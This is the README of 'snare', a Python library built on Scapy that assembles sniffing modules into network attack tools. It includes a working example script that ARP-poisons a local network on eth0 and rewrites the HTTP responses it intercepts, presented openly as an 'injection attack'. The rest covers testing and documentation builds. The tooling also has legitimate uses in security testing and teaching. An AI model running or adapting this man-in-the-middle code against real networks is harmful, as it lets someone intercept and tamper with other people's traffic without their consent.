snare

Capture and manipulate traffic off the network

Snare provides a Sniffer class and a few "modules" which can be assembled to form attack tools. These classes are based on Scapy and provide a convenient way to interact with and compose tools from it's functionality.

The advanced functions such as ARP poisoning, packet forwarding, and analysis are decomposed into modules to allow for greater flexibility and flexibility. Look at the constructed strategies for examples of how to compose the modules.

Docs are hosted on Read the Docs

Example

Suppose you hate the string "search" and you want to MitM your local network, replacing all instances of the word in HTTP responses with the word "replace". Well the following script will do that for you!

import scapy.all as scapy
import snare

# Hello
@snare.tcpfilter
def inject(pkt):
  if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
      if scapy.Raw in pkt and pkt[scapy.TCP].sport == 80:

          s = b"search"
          r = b"replacement"

          raw = pkt[scapy.Raw]
          if s in raw.load:
              raw.load = raw.load.replace(s, r)
              print(pkt.show())
  return pkt

sniffer = snare.Sniffer(
    iface="eth0",
    modules=[snare.ArpMitmModule(filter=inject)]
)
sniffer.start()
input("Starting injection attack. Press enter to quit.")
sniffer.stop()

Development

Testing

Tests are written in pytest and can be run with the pytest command.

Note

Testing is pretty spare at the momment. In order to really test things, a testing framework that can feed in pcap files and evaluate the repsonse is required.

Documentation

Documentation can be built with Sphinx from the docs folder by running make html, or another target.